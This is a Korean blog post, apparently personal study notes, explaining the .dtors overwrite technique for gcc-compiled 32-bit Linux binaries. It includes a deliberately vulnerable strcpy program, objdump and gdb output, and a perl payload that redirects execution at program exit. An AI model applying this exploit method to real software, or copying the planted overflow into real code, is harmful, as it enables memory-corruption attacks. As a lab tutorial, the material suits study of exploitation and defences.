본문 바로가기

etc/Technical Documents

.dtors overwrite

소개

-------

gcc 컴파일 되어진 c 프로그램의 실행 흐름을 조절 있는 기술에 대해 설명한다.

 

 

참고

-------

dvorak exploit

 

 

 

개요

-------

 

gcc 컴파일 되어진 c 프로그램에서, constructors와 destructors 두가지 영역이 있다. 두가지 영역은 아래와 같은 방법으로 프로그래머에 의해 작성되어 있다.

 

       static void start(void) __attribute__ ((constructor));

       static void stop(void)  __attribute__ ((destructor));

GNU C 특성중 하나인 함수 속성을 정할수있는 기능인 __attribute__ 를 이용하여 함수를 콘스트럭터와 디스트럭터로 선언 있다. 그러므로 start함수는 .ctos 영역에 선언이 것이고, stop .dtors영역에 선언이 된다.

 

 콘스트럭터는 main함수 전에 실행되고 디스트럭터는 main함수 종료 후에 실행이 것이다.

 

.ctors .dtors 둘다 아래와 같은 레이아웃을 갖는다.

 

   0xffffffff <function address> <another function address> ... 0x00000000

 

영역은 아래와 같은 몇가지 특성이 있다.

 

  • .ctors .dtors 프로세스 주소 공간 메모리에 기록되어지고 기본적으로 쓰기 가능해질 것이다.
  • 프로그래머가 콘스트럭터나 디스트럭터 둘중 어느것을 구현하였는가에 대하여 신경 필요가 없다. 왜냐면 특별히 정의하지 않아도 두영역은 메모리에 기록되고 어쨌든 나타난다.
  • 그들 영역은 일반적인 .data 영역과 멀리 떨어져 있지 않다.

 

 

상세내용

----------

 

[root@BOF heap_test3]# cat > yopta.c

#include <stdio.h>

#include <stdlib.h>

 

static void start(void) __attribute__ ((constructor));  //콘스트럭터 속성으로 선언

static void stop(void)  __attribute__ ((destructor));  //디스트럭터 속성으로 선언

 

int

main(int argc, char *argv[])

{

       printf("start == %p\n", start);

       printf("stop == %p\n", stop);

 

       exit(EXIT_SUCCESS);

}

 

void

start(void)

{

       printf("hello world!\n");

}

 

void

stop(void)

{

       printf("goodbye world!\n");

}

 

[root@BOF heap_test3]# gcc -o yopta yopta.c

 

[root@BOF heap_test3]# ./yopta

hello world!   //콘스트럭터 실행

start == 0x8048434   //start함수의 주소

stop == 0x8048448   //stop함수의 주소

goodbye world!   //디스트럭터 실행

 

[root@BOF heap_test3]# objdump

Usage: objdump <switches> file(s)

 At least one of the following switches must be given:

  -a  --archive-headers    Display archive header information

  -f  --file-headers       Display the contents of the overall file header

  -p  --private-headers    Display object format specific file header contents

  -h  --[section-]headers  Display the contents of the section headers

  -x  --all-headers        Display the contents of all headers

  -d  --disassemble        Display assembler contents of executable sections

  -D  --disassemble-all    Display assembler contents of all sections

  -S  --source             Intermix source code with disassembly

  -s  --full-contents      Display the full contents of all sections requested

  -g  --debugging          Display debug information in object file

  -G  --stabs              Display the STABS contents of an ELF format file

  -t  --syms               Display the contents of the symbol table(s)

  -T  --dynamic-syms       Display the contents of the dynamic symbol table

  -r  --reloc              Display the relocation entries in the file

  -R  --dynamic-reloc      Display the dynamic relocation entries in the file

  -V  --version            Display this program's version number

  -i  --info               List object formats and architectures supported

  -H  --help               Display this information

 

//s 옵션에서 부가적으로 쓰는 옵션

 The following switches are optional:

  -b  --target <bfdname>         Specify the target object format as <bfdname>

  -m  --architecture <machine>   Specify the target architecture as <machine>

  -j  --section <name>           Only display information for section <name>

  -M  --disassembler-options <o> Pass text <o> on to the disassembler

  -EB --endian=big               Assume big endian format when disassembling

  -EL --endian=little            Assume little endian format when disassembling

  -l  --line-numbers             Include line numbers and filenames in output

  -C  --demangle                 Decode mangled/processed symbol names

  -w  --wide                     Format output for more than 80 columns

  -z  --disassemble-zeroes       Do not skip blocks of zeroes when disassembling

      --start-address <addr>     Only process data whoes address is >= <addr>

      --stop-address <addr>      Only process data whoes address is <= <addr>

      --prefix-addresses         Print complete address alongside disassembly

      --[no-]show-raw-insn       Display hex alongside symbolic disassembly

      --adjust-vma <offset>      Add <offset> to all displayed section addresses

      --demangler <dso:function> Set dso and demangler function

      --style {gnu,lucid,arm,hp,edg,gnat,compaq}

                                 Set demangling style

 

[root@BOF heap_test3]# objdump -s -j .dtors yopta   // yopta파일의 .dtors섹션 정보 표시

 

yopta:     file format elf32-i386

 

Contents of section .dtors:

 8049504 ffffffff 48840408 00000000           ....H.......

 

stop 주소가 .dtors 저장되어 졌다.(yopta실행결과 확인/little indian으로 저장)

우리는 프로그램의 실행흐름을 바꾸는데 목적이 있으므로 overflow 일어난후, main함수가 실행되고 난후의 실행되어지는 영역인 .dtors 대해서만 다루기로 하고, .ctors 대해서는 잊기로 하자.

 

그럼 다음과 같이 함수 속성이 없는 일반적인 프로그램을 가지고 시도해 보자

 

[root@BOF heap_test3]# cat > bleh.c

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <dumpcode.h>

 

static void bleh(void);

 

int main(int argc, char *argv[])

{

       static u_char buf[] = "bleh";   //초기화된 전역변수 .data영역에 선언

        dumpcode((char *)buf,64);

       if (argc < 2)

               exit(EXIT_FAILURE);

 

       strcpy(buf, argv[1]);     //vuln!!

        dumpcode((char *)buf,64);

       exit(EXIT_SUCCESS);

}

 

void bleh(void)

{

       printf("goffio!\n");

}

 

[root@BOF heap_test3]# gcc -o bleh bleh.c

 

[root@BOF heap_test3]# ./bleh aaaaa

0x08049740  62 6c 65 68 00 00 00 00 00 00 00 00 ff ff ff ff   bleh............

0x08049750  00 00 00 00 ff ff ff ff 00 00 00 00 88 97 04 08   ................

0x08049760  d0 3e 01 40 60 a9 00 40 50 85 0f 40 08 0e 03 40   .>.@`..@P..@...@

0x08049770  6e 83 04 08 cc 08 03 40 4c 60 06 40 9e 83 04 08   n......@L`.@....

 

0x08049740  61 61 61 61 61 00 00 00 00 00 00 00 ff ff ff ff   aaaaa...........

0x08049750  00 00 00 00 ff ff ff ff 00 00 00 00 88 97 04 08   ................

0x08049760  d0 3e 01 40 60 a9 00 40 50 85 0f 40 08 0e 03 40   .>.@`..@P..@...@

0x08049770  6e 83 04 08 cc 08 03 40 4c 60 06 40 9e 83 04 08   n......@L`.@....

 

[root@BOF heap_test3]# objdump -h bleh | grep .dtors

 17 .dtors        00000008  08049754  08049754  00000754  2**2

 

디스트럭터 속성으로 선언된 함수가 없어도 여전히 .dtors 있는것을 확인할 있다.

 

.dtors영역의 내용을 들여다 보자.

 

[root@BOF heap_test3]# objdump -s -j .dtors bleh

 

bleh:     file format elf32-i386

 

Contents of section .dtors:

 8049754 ffffffff 00000000                    ........

내용을 들여다 보면 앞과 부분의 태그만 있지 펑션의 주소들은 나타나 있지 않다.

 

소스를 보면 buf static으로 초기화시켜서 선언하였는데, 이는 우리의 목표인 .dtors영역을 덮어씌우기 위한, 매우 가까이에 있는 .data 영역에 buf 위치시키기 위함이다.

 

이제 주어진 (정상적으로 실행 없는) bleh() .dtors 엔트리를 만들어서 실행시켜 보자.

 

우리가 실행시키기 위해서는 테그는 신경쓰지 말고 뒤쪽의 태그(0x00000000) 덮어쓰기 해야 한다.

 

 

일단 뒤쪽의 태그를 덮어쒸우기 위한 buf 시작주소가 필요하고, 그리고 bleh() 주소도 필요하다.

 

gdb 통해서 알아내 보자.

 

[root@BOF heap_test3]# gdb -q bleh

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048654 <main>:       push   %ebp

0x8048655 <main+1>:     mov    %ebp,%esp

0x8048657 <main+3>:     push   64

0x8048659 <main+5>:     push   0x8049740

0x804865e <main+10>:    call   0x80484b4 <dumpcode>

0x8048663 <main+15>:    add    %esp,8

0x8048666 <main+18>:    cmp    DWORD PTR [%ebp+8],1

0x804866a <main+22>:    jg     0x8048676 <main+34>

0x804866c <main+24>:    push   1

0x804866e <main+26>:    call   0x8048398 <exit>

0x8048673 <main+31>:    add    %esp,4

0x8048676 <main+34>:    mov    %eax,DWORD PTR [%ebp+12]

0x8048679 <main+37>:    add    %eax,4

0x804867c <main+40>:    mov    %edx,DWORD PTR [%eax]

0x804867e <main+42>:    push   %edx

0x804867f <main+43>:    push   0x8049740

0x8048684 <main+48>:    call   0x80483a8 <strcpy>

0x8048689 <main+53>:    add    %esp,8

0x804868c <main+56>:    push   64

0x804868e <main+58>:    push   0x8049740

0x8048693 <main+63>:    call   0x80484b4 <dumpcode>

0x8048698 <main+68>:    add    %esp,8

0x804869b <main+71>:    push   0

0x804869d <main+73>:    call   0x8048398 <exit>

0x80486a2 <main+78>:    add    %esp,4

0x80486a5 <main+81>:    leave

0x80486a6 <main+82>:    ret

0x80486a7 <main+83>:    nop

End of assembler dump.

(gdb) x/s 0x8049740

0x8049740 <force_to_data>:       "bleh"

(gdb) disas bleh

Dump of assembler code for function bleh:

0x80486a8 <bleh>:       push   %ebp

0x80486a9 <bleh+1>:     mov    %ebp,%esp

0x80486ab <bleh+3>:     push   0x804872b

0x80486b0 <bleh+8>:     call   0x8048388 <printf>

0x80486b5 <bleh+13>:    add    %esp,4

0x80486b8 <bleh+16>:    leave

0x80486b9 <bleh+17>:    ret

0x80486ba <bleh+18>:    nop

0x80486bb <bleh+19>:    nop

0x80486bc <bleh+20>:    nop

0x80486bd <bleh+21>:    nop

0x80486be <bleh+22>:    nop

0x80486bf <bleh+23>:    nop

End of assembler dump.

 

표시된 2가지 부분을 사용하면 것이다.

 

하지만 gdb 사용하지 않고도 알아내는 방법도 있다.

 

[root@BOF heap_test3]# objdump --syms bleh | egrep 'text.*bleh'

080486a8 l     F .text  00000012              bleh

 

이것은 심볼테이블에서 bleh() 관련된 것을 찾는 방법이다.

 

// .data영역의 bleh 찾는 방법은 모르겟다.

 

이제 한번 공격을 해보자.

 

[root@BOF heap_test3]# ./bleh `perl -e 'print "a"x24,"\xa8\x86\x04\x08"'`   // a 24개나면, (.dtor 주소+4)-(buf 주소)

0x08049740  62 6c 65 68 00 00 00 00 00 00 00 00 ff ff ff ff   bleh............

0x08049750  00 00 00 00 ff ff ff ff 00 00 00 00 88 97 04 08   ................

0x08049760  d0 3e 01 40 60 a9 00 40 50 85 0f 40 08 0e 03 40   .>.@`..@P..@...@

0x08049770  6e 83 04 08 cc 08 03 40 4c 60 06 40 9e 83 04 08   n......@L`.@....

 

0x08049740  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa

0x08049750  61 61 61 61 61 61 61 61 a8 86 04 08 00 97 04 08   aaaaaaaa........

0x08049760  d0 3e 01 40 60 a9 00 40 50 85 0f 40 08 0e 03 40   .>.@`..@P..@...@

0x08049770  6e 83 04 08 cc 08 03 40 4c 60 06 40 9e 83 04 08   n......@L`.@....

 

goffio!

Segmentation fault (core dumped)

 

그럼 core 디버깅을 해보자

 

[root@BOF heap_test3]# gdb -q bleh core

Core was generated by `./bleh aaaaaaaaaaaaaaaaaaaaaaaa쮩'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0x8049700 in ?? ()

(gdb) bt

#0  0x8049700 in ?? ()

#1  0x8048701 in _fini ()

#2  0x4003925a in exit (status=0) at exit.c:57

#3  0x80486a2 in main ()

#4  0x400309cb in __libc_start_main (main=0x8048654 <main>, argc=2, argv=0xbffffd74, init=0x8048308 <_init>, fini=0x80486ec <_fini>,

    rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffffd6c) at ../sysdeps/generic/libc-start.c:92

(gdb) maintenance info sections

Exec file:

    `/home/student/heap_test3/bleh', file type elf32-i386.

    0x080480f4->0x08048107 at 0x000000f4: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x08048108->0x08048128 at 0x00000108: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x08048128->0x08048164 at 0x00000128: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x08048164->0x08048204 at 0x00000164: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x08048204->0x08048292 at 0x00000204: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x08048292->0x080482a6 at 0x00000292: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x080482a8->0x080482c8 at 0x000002a8: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x080482c8->0x080482d0 at 0x000002c8: .rel.got ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x080482d0->0x08048308 at 0x000002d0: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x08048308->0x08048337 at 0x00000308: .init ALLOC LOAD READONLY CODE HAS_CONTENTS

    0x08048338->0x080483b8 at 0x00000338: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS

    0x080483c0->0x080486ec at 0x000003c0: .text ALLOC LOAD READONLY CODE HAS_CONTENTS

    0x080486ec->0x08048706 at 0x000006ec: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS

    0x08048708->0x08048734 at 0x00000708: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS

    0x08049734->0x08049748 at 0x00000734: .data ALLOC LOAD DATA HAS_CONTENTS

    0x08049748->0x0804974c at 0x00000748: .eh_frame ALLOC LOAD DATA HAS_CONTENTS

    0x0804974c->0x08049754 at 0x0000074c: .ctors ALLOC LOAD DATA HAS_CONTENTS

    0x08049754->0x0804975c at 0x00000754: .dtors ALLOC LOAD DATA HAS_CONTENTS

    0x0804975c->0x08049788 at 0x0000075c: .got ALLOC LOAD DATA HAS_CONTENTS

    0x08049788->0x08049828 at 0x00000788: .dynamic ALLOC LOAD DATA HAS_CONTENTS

    0x08049828->0x08049840 at 0x00000828: .bss ALLOC

    0x00000000->0x00000750 at 0x00000828: .stab READONLY HAS_CONTENTS

    0x00000000->0x0000134f at 0x00000f78: .stabstr READONLY HAS_CONTENTS

    0x00000000->0x0000016e at 0x000022c7: .comment READONLY HAS_CONTENTS

    0x08049840->0x080498b8 at 0x00002435: .note READONLY HAS_CONTENTS

Core file:

    `/home/student/heap_test3/core', file type elf32-i386.

    0x00000000->0x000006ac at 0x00000174: note0 READONLY HAS_CONTENTS

    0x00000000->0x00000044 at 0x000001cc: .reg/8938 HAS_CONTENTS

    0x00000000->0x00000044 at 0x000001cc: .reg HAS_CONTENTS

    0x08048000->0x08048000 at 0x00001000: load1 ALLOC LOAD READONLY CODE HAS_CONTENTS

    0x08049000->0x0804a000 at 0x00001000: load2 ALLOC LOAD HAS_CONTENTS

    0x40000000->0x40000000 at 0x00002000: load3 ALLOC LOAD READONLY CODE HAS_CONTENTS

    0x40013000->0x40014000 at 0x00002000: load4 ALLOC LOAD HAS_CONTENTS

    0x40014000->0x40016000 at 0x00003000: load5 ALLOC LOAD HAS_CONTENTS

    0x40018000->0x40018000 at 0x00005000: load6 ALLOC LOAD READONLY CODE HAS_CONTENTS

    0x40105000->0x40109000 at 0x00005000: load7 ALLOC LOAD HAS_CONTENTS

    0x40109000->0x4010d000 at 0x00009000: load8 ALLOC LOAD HAS_CONTENTS

    0xbfffe000->0xc0000000 at 0x0000d000: load9 ALLOC LOAD CODE HAS_CONTENTS

 

.dtors 내용을 확인해보자.

(gdb) x/4x 0x08049754

0x8049754 <__DTOR_LIST__>:      0x61616161      0x080486a8      0x08049700      0x40013ed0

 

 

결론

---------

1..dtors 뒷태그가 bleh() 변경된것을 볼수 있엇고,

2. 다른 하나는 앞태그가 무엇이든 신경을 쓰지 않는다는 것이다.

3.그리고 뒷태그를 실행시킬수 있다는 점이다.

 

장점)

 1. 만약 목표 실행화일이 공격자에게 읽기 가능하게 되어있다면 쉽게 우리의 shellcode의 주소를 써야할지 정확한 위치를 알수 있다. 그렇지 않아도 단지 ELF 이미지와 .dtors 위치만 알아도 충분하다. 이 장점은 잇스프로잇의 신뢰도를 상당히 높일수 있다.

 2. 이것은 다른 그로벌 옵셋테이블의 엔트리를 덮어쓰기 하는 것과 같은 기술에 비해 매우 단순하다.

 

단점)

 1. 희생 프로그램은 GNU 툴들로 컴퍼일과 링크가 되어져야 한다.

 2. 특정상황하에서는 프로그램이 종료되기까지 shellcode가 저장된 장소를 찾기 어려울수 있다.     

'etc > Technical Documents' 카테고리의 다른 글

[Metasploit] android meterpreter 분석  (0) 2014.10.13
peda 유용한 명령어 정리  (0) 2014.09.14
ret to libc  (0) 2014.06.07
Fake ebp  (2) 2014.04.24
Vera를 이용한 Visual unpacking  (0) 2014.04.22